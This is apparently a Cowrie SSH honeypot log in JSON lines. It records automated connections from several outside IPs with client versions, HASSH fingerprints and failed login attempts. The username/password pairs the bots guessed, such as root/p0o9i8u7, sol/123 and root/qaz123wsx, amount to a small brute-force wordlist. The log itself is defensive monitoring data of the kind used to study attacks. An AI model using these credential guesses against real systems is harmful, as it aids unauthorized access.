{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:ad:39:6f:b2:1d:ec:6e:99:2b:b4:4b:a2:83:2b:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClfd0Q1wGCcKUdVakkHg68zwpN5Z3v9+clmpOa/J3c8co4Ro4bx3w9jHHDtxYNXT03hJmErHX9iUrBcSjjfCeR45OPgT7tw3OtwuE16OZECtaTUeMvja1wCbzE6aBEfKRwsm2K6Bzpanclb6QmMr2PEQj4HiGAnLPocaIEZJ87Z1zOmK6f+O0o00znESywIeGmSVUBMNdD7Q8mT6o9/QJGid2oTcXrgYJ190O4YkSfXtbGOkCVr14pb11fjJb4Cl42diZ03k51vJ1wUazkfAg6XMUBQRoPKX8BggHti+kMWj1I1K3euVmzPq7TsqUi6QWe+wprR+OXGcB/BHcE1jlj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:32.551580Z","src_ip":"175.107.197.44","session":"f0b563dc915b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:12:32.766131Z","src_ip":"175.107.197.44","session":"f0b563dc915b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":36876,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae6e1557be58","protocol":"ssh","message":"New connection: 80.94.92.186:36876 (159.203.135.109:22) [session: ae6e1557be58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:13:10.453108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:13:10.515027Z","src_ip":"80.94.92.186","session":"ae6e1557be58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:13:10.628224Z","src_ip":"80.94.92.186","session":"ae6e1557be58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:13:11.492339Z","src_ip":"80.94.92.186","session":"ae6e1557be58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":42294,"dst_ip":"159.203.135.109","dst_port":22,"session":"c98bb2a59a2c","protocol":"ssh","message":"New connection: 194.113.233.25:42294 (159.203.135.109:22) [session: c98bb2a59a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:13:11.851280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:13:11.855968Z","src_ip":"194.113.233.25","session":"c98bb2a59a2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:13:11.945525Z","src_ip":"194.113.233.25","session":"c98bb2a59a2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p0o9i8u7","message":"login attempt [root/p0o9i8u7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:13:12.216271Z","src_ip":"194.113.233.25","session":"c98bb2a59a2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:13:12.610132Z","src_ip":"80.94.92.186","session":"ae6e1557be58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:13:13.308886Z","src_ip":"194.113.233.25","session":"c98bb2a59a2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":18082,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc2494e64a4a","protocol":"ssh","message":"New connection: 194.59.206.2:18082 (10.17.0.5:22) [session: cc2494e64a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:13:40.894714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:13:40.904657Z","src_ip":"194.59.206.2","session":"cc2494e64a4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:13:40.996061Z","src_ip":"194.59.206.2","session":"cc2494e64a4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:13:41.095266Z","src_ip":"194.59.206.2","session":"cc2494e64a4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":54346,"dst_ip":"10.17.0.5","dst_port":22,"session":"7452f7df9e11","protocol":"ssh","message":"New connection: 103.122.221.179:54346 (10.17.0.5:22) [session: 7452f7df9e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:14:35.924587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:14:35.929600Z","src_ip":"103.122.221.179","session":"7452f7df9e11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:14:36.185386Z","src_ip":"103.122.221.179","session":"7452f7df9e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p","message":"login attempt [root/p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:14:36.950709Z","src_ip":"103.122.221.179","session":"7452f7df9e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:14:38.210193Z","src_ip":"103.122.221.179","session":"7452f7df9e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":52842,"dst_ip":"10.17.0.5","dst_port":22,"session":"60346b32ed9f","protocol":"ssh","message":"New connection: 147.45.199.80:52842 (10.17.0.5:22) [session: 60346b32ed9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:03.697782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:03.703889Z","src_ip":"147.45.199.80","session":"60346b32ed9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:03.833409Z","src_ip":"147.45.199.80","session":"60346b32ed9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwo","message":"login attempt [root/passwo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:04.123828Z","src_ip":"147.45.199.80","session":"60346b32ed9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:05.225554Z","src_ip":"147.45.199.80","session":"60346b32ed9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":40038,"dst_ip":"10.17.0.5","dst_port":22,"session":"838c7340123a","protocol":"ssh","message":"New connection: 109.237.96.109:40038 (10.17.0.5:22) [session: 838c7340123a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:10.908505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:10.913621Z","src_ip":"109.237.96.109","session":"838c7340123a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:11.003850Z","src_ip":"109.237.96.109","session":"838c7340123a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456123456","message":"login attempt [root/123456123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:11.290979Z","src_ip":"109.237.96.109","session":"838c7340123a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:12.383796Z","src_ip":"109.237.96.109","session":"838c7340123a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53986,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa317517d0bf","protocol":"ssh","message":"New connection: 103.153.68.219:53986 (10.17.0.5:22) [session: fa317517d0bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:22.593475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:22.598639Z","src_ip":"103.153.68.219","session":"fa317517d0bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:22.848769Z","src_ip":"103.153.68.219","session":"fa317517d0bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123wsx","message":"login attempt [root/qaz123wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:23.599944Z","src_ip":"103.153.68.219","session":"fa317517d0bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:24.853361Z","src_ip":"103.153.68.219","session":"fa317517d0bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":39696,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef7fa65a788e","protocol":"ssh","message":"New connection: 80.94.92.186:39696 (159.203.135.109:22) [session: ef7fa65a788e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:55.130159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:55.358940Z","src_ip":"80.94.92.186","session":"ef7fa65a788e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:55.543597Z","src_ip":"80.94.92.186","session":"ef7fa65a788e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:56.278949Z","src_ip":"80.94.92.186","session":"ef7fa65a788e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:15:57.408473Z","src_ip":"80.94.92.186","session":"ef7fa65a788e","protocol":"ssh"}
